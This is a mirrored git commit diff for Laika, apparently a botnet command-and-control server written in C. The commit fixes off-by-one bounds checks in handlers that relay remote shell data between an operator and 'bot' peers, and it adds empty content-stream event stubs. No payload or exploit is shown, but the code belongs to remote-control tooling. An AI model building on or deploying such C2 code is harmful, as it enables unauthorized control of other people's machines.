mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-27 05:31:03 +00:00
CNC: Fix possible out of bounds subscript for SHELL_* packets
- content events now pass the sLaika_peer struct
This commit is contained in:
@@ -41,7 +41,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||
laikaS_endOutPacket(authPeer);
|
||||
}
|
||||
|
||||
/* ============================================[[ Packet Handlers ]]============================================= */
|
||||
/* =========================================[[ [Auth] Packet Handlers ]]========================================= */
|
||||
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
||||
@@ -100,7 +100,7 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
|
||||
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
||||
|
||||
/* ignore malformed packet */
|
||||
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
return;
|
||||
|
||||
laikaC_closeShell(shell);
|
||||
@@ -121,7 +121,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
sz -= sizeof(uint32_t);
|
||||
|
||||
/* ignore malformed packet */
|
||||
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
return;
|
||||
|
||||
peer = shell->bot;
|
||||
|
||||
@@ -116,7 +116,7 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================[[ Packet Handlers ]]============================================= */
|
||||
/* ========================================[[ [Peer] Packet Handlers ]]========================================== */
|
||||
|
||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
||||
@@ -126,7 +126,7 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
|
||||
/* ignore packet if shell isn't open */
|
||||
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
return;
|
||||
|
||||
/* close shell */
|
||||
@@ -146,7 +146,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
|
||||
/* ignore packet if shell isn't open */
|
||||
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
return;
|
||||
|
||||
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
|
||||
@@ -157,3 +157,20 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t));
|
||||
laikaS_endVarPacket(shell->auth);
|
||||
}
|
||||
|
||||
/* ============================================[[ Content Handlers ]]============================================ */
|
||||
|
||||
/* content stream has finished */
|
||||
void laikaC_contentRecvEvent(struct sLaika_peer *peer, struct sLaika_contentContext *context, struct sLaika_content *content) {
|
||||
|
||||
}
|
||||
|
||||
/* request to open a content stream */
|
||||
bool laikaC_contentNewEvent(struct sLaika_peer *peer, struct sLaika_contentContext *context, struct sLaika_content *content) {
|
||||
|
||||
}
|
||||
|
||||
/* error happened on a stream */
|
||||
void laikaC_contentErrEvent(struct sLaika_peer *peer, struct sLaika_contentContext *context, struct sLaika_content *content, CONTENT_ERRCODE err) {
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user